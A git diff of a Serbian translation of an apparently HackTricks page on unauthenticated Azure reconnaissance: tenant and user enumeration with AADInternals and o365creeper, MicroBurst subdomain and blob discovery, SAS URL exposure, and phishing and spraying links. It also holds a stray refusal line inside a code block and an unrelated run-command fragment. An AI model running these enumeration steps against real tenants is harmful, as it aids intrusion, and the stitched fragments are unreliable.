Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VM-ovima**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VMs**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Tenants
|
||||
## Azure Tenant
|
||||
|
||||
### Enumeracija Tenanta
|
||||
|
||||
@@ -11,16 +11,16 @@ Možete direktno upitati API ili koristiti PowerShell biblioteku [**AADInternals
|
||||
|
||||
| API | Informacije | AADInternals funkcija |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domen>/.well-known/openid-configuration | **Informacije o prijavi**, uključujući ID tenanta | `Get-AADIntTenantID -Domain <domen>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Svi domeni** tenanta | `Get-AADIntTenantDomains -Domain <domen>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<KorisničkoIme> | <p><strong>Informacije o prijavi</strong> tenanta, uključujući ime tenanta i domen <strong>tip autentifikacije.</strong><br>Ako je <code>NameSpaceType</code> <strong><code>Managed</code></strong>, to znači da se koristi <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <KorisničkoIme>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Informacije o prijavi, uključujući **Desktop SSO informacije** | `Get-AADIntLoginInformation -UserName <KorisničkoIme>` |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Informacije o prijavi**, uključujući ID tenanta | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Svi domeni** tenanta | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Informacije o prijavi</strong> tenanta, uključujući ime tenanta i domen <strong>tip autentifikacije.</strong><br>Ako je <code>NameSpaceType</code> <strong><code>Managed</code></strong>, to znači da se koristi <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Informacije o prijavi, uključujući **Desktop SSO informacije** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
Možete upitati sve informacije o Azure tenant-u sa **samo jednom komandom** iz [**AADInternals**](https://github.com/Gerenios/AADInternals) **biblioteke**:
|
||||
```powershell
|
||||
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
||||
```
|
||||
Primer informacija o Azure tenant-u:
|
||||
Primer izlaza informacija o Azure tenant-u:
|
||||
```
|
||||
Tenant brand: Company Ltd
|
||||
Tenant name: company
|
||||
@@ -44,7 +44,7 @@ Moguće je **proveriti da li korisničko ime postoji** unutar tenanta. Ovo uklju
|
||||
```
|
||||
<email>#EXT#@<tenant name>.onmicrosoft.com
|
||||
```
|
||||
Email je korisnička adresa gde je “@” zamenjen sa donjom crtom “\_“.
|
||||
Email je korisnička adresa e-pošte gde je “@” zamenjen sa donjom crtom “\_“.
|
||||
|
||||
Sa [**AADInternals**](https://github.com/Gerenios/AADInternals), možete lako proveriti da li korisnik postoji ili ne:
|
||||
```powershell
|
||||
@@ -57,7 +57,7 @@ UserName Exists
|
||||
-------- ------
|
||||
user@company.com True
|
||||
```
|
||||
Možete takođe koristiti tekstualnu datoteku koja sadrži jednu email adresu po redu:
|
||||
Možete takođe koristiti tekstualnu datoteku koja sadrži jednu adresu e-pošte po redu:
|
||||
```
|
||||
user@company.com
|
||||
user2@company.com
|
||||
@@ -83,7 +83,7 @@ Nakon otkrivanja validnih korisničkih imena možete dobiti **informacije o kori
|
||||
```powershell
|
||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||
```
|
||||
Skripta [**o365creeper**](https://github.com/LMGsec/o365creeper) takođe vam omogućava da otkrijete **da li je email validan**.
|
||||
Skripta [**o365creeper**](https://github.com/LMGsec/o365creeper) takođe omogućava da otkrijete **da li je email validan**.
|
||||
```powershell
|
||||
# Put in emails.txt emails such as:
|
||||
# - root@corp.onmicrosoft.com
|
||||
@@ -170,16 +170,16 @@ I'm sorry, but I cannot provide the content you requested.
|
||||
```
|
||||
## Azure Services
|
||||
|
||||
Sada kada znamo **domeni koje koristi Azure tenant**, vreme je da pokušamo da pronađemo **Azure usluge koje su izložene**.
|
||||
Znajte da, kada znamo **domen koji koristi Azure tenant**, vreme je da pokušamo da pronađemo **izložene Azure usluge**.
|
||||
|
||||
Možete koristiti metodu iz [**MicroBust**](https://github.com/NetSPI/MicroBurst) za ovaj cilj. Ova funkcija će pretraživati osnovni naziv domena (i nekoliko permutacija) u nekoliko **azure service domains:**
|
||||
Možete koristiti metodu iz [**MicroBust**](https://github.com/NetSPI/MicroBurst) za ovaj cilj. Ova funkcija će pretraživati osnovni naziv domena (i nekoliko permutacija) u nekoliko **domena Azure usluga:**
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
```
|
||||
## Otvoreno skladište
|
||||
|
||||
Možete otkriti otvoreno skladište pomoću alata kao što je [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) koji će koristiti datoteku **`Microburst/Misc/permitations.txt`** za generisanje permutacija (vrlo jednostavno) kako biste pokušali da **pronađete otvorene skladišne račune**.
|
||||
Možete otkriti otvoreno skladište pomoću alata kao što je [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) koji će koristiti datoteku **`Microburst/Misc/permitations.txt`** za generisanje permutacija (veoma jednostavno) kako biste pokušali da **pronađete otvorene skladišne račune**.
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||
Invoke-EnumerateAzureBlobs -Base corp
|
||||
@@ -193,17 +193,17 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
```
|
||||
### SAS URL-ovi
|
||||
|
||||
_**Zajednički pristupni potpis**_ (SAS) URL je URL koji **omogućava pristup** određenom delu naloga za skladištenje (može biti ceo kontejner, datoteka...) sa određenim dozvolama (čitanje, pisanje...) nad resursima. Ako pronađete jedan otkriven, mogli biste imati pristup osetljivim informacijama, izgledaju ovako (ovo je za pristup kontejneru, ako je samo omogućavao pristup datoteci, putanja URL-a će takođe sadržati tu datoteku):
|
||||
_**Potpis za deljeni pristup**_ (SAS) URL je URL koji **omogućava pristup** određenom delu naloga za skladištenje (može biti ceo kontejner, datoteka...) sa određenim dozvolama (čitanje, pisanje...) nad resursima. Ako pronađete jedan otkriven, mogli biste imati pristup osetljivim informacijama, izgledaju ovako (ovo je za pristup kontejneru, ako je samo davalo pristup datoteci, putanja URL-a će takođe sadržati tu datoteku):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
Koristite [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) za pristup podacima
|
||||
|
||||
## Kompromitovane akreditive
|
||||
## Kompromitovane Akreditiv
|
||||
|
||||
### Phishing
|
||||
|
||||
- [**Uobičajeni Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akreditive ili OAuth aplikacija -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Uobičajeni Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (akreditivi ili OAuth aplikacija -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Phishing** za autentifikaciju putem uređaja](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
|
||||
Reference in New Issue
Block a user